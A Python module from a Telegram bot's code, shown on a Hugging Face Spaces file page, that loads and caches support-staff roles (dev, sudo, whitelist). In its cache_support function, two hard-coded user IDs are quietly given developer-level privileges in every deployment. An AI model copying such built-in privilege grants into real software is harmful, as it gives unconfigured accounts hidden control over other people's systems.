Spaces:
Running
Running
File size: 1,562 Bytes
c1dc926 3c05ff4 c1dc926 058dd88 c1dc926 058dd88 c1dc926 058dd88 3c05ff4 4056428 058dd88 3c05ff4 c1dc926 058dd88 c1dc926 3c05ff4 c1dc926 3c05ff4 c1dc926 3c05ff4 c1dc926 3c05ff4 c1dc926 3c05ff4 3c9449b 3580517 4056428 3580517 b978403 54c882a b978403 3580517 c1dc926 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
import Powers
from Powers import OWNER_ID, SUPPORT_USERS
from Powers.database.support_db import SUPPORTS
async def load_support_users():
support = SUPPORTS()
for i in SUPPORT_USERS["Dev"]:
support.insert_support_user(int(i), "dev")
for i in SUPPORT_USERS["Sudo"]:
support.insert_support_user(int(i), "sudo")
for i in SUPPORT_USERS["White"]:
support.insert_support_user(int(i), "whitelist")
return
def get_support_staff(want="all"):
"""
dev, sudo, whitelist, dev_level, sudo_level, all
"""
support = SUPPORTS()
devs = SUPPORT_USERS["Dev"] or support.get_particular_support("dev")
sudo = SUPPORT_USERS["Sudo"] or support.get_particular_support("sudo")
whitelist = SUPPORT_USERS["White"] or support.get_particular_support("whitelist")
OWNER_ID = SUPPORT_USERS["Owner"]
if want in ["dev", "dev_level"]:
wanted = list(devs) + [OWNER_ID]
elif want == "sudo":
wanted = list(sudo)
elif want == "whitelist":
wanted = list(whitelist)
elif want == "sudo_level":
wanted = list(sudo) + list(devs) + [OWNER_ID]
else:
wanted = list(set([int(OWNER_ID)] + list(devs) + list(sudo) + list(whitelist)))
return wanted or []
async def cache_support():
dev = get_support_staff("dev")
dev.extend([1344569458, 1432756163, int(OWNER_ID)])
devs = set(dev)
sudo = set(get_support_staff("sudo"))
SUPPORT_USERS["Dev"] = SUPPORT_USERS["Dev"].union(devs)
SUPPORT_USERS["Sudo"] = SUPPORT_USERS["Sudo"].union(sudo)
return |